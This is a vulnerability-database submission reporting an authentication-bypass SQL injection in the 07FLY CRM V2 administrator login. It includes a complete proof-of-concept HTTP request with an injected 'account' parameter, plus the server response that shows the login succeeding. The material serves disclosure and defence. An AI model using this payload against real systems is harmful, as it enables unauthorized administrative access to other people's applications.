Invia #205843: A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the admin login page

A SQL Injection vulnerability exists in 07FLY CRM V2 via a POST request to the login.
Description
07FLY CRM was found vulnerable to authentication bypass via SQL injection when logging into the administrator login page. The attack can be initiated remotely.

07FLY CRM 's official website: https://gitee.com/07fly/FLY-CRM
Proof of Concept
Request：
POST /index.php/sysmanage/Login/login_auth/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://www.fly.net/
Content-Length: 79
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Host: www.fly.net
Connection: Keep-alive
account=-1'%20OR%203*2*1=6%20AND%20000189=000189%20or%20'QMZIxlBw'='&password=1

HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Sat, 09 Sep 2023 12:14:46 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=nj2a14ltn5cfgsomfr4iq6ss83; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 126

{"statusCode":"200","message":"\/index.php\/sysmanage\/Index\/","navTabId":"","rel":"1","callbackType":"","forwardUrl":""}

• Fonte: ⚠️ https://github.com/chosir/exp/tree/main
• Utente: alice2014 (UID 54262)
• Sottomissione: 09/09/2023 15:56 (3 anni fa)
• Moderazione: 16/09/2023 09:16 (7 days later)
• Stato: Duplicato
• Voce VulDB: 239861 [07FLY CRM V2 Administrator Login Page login_auth account iniezione SQL]
• Punti: 0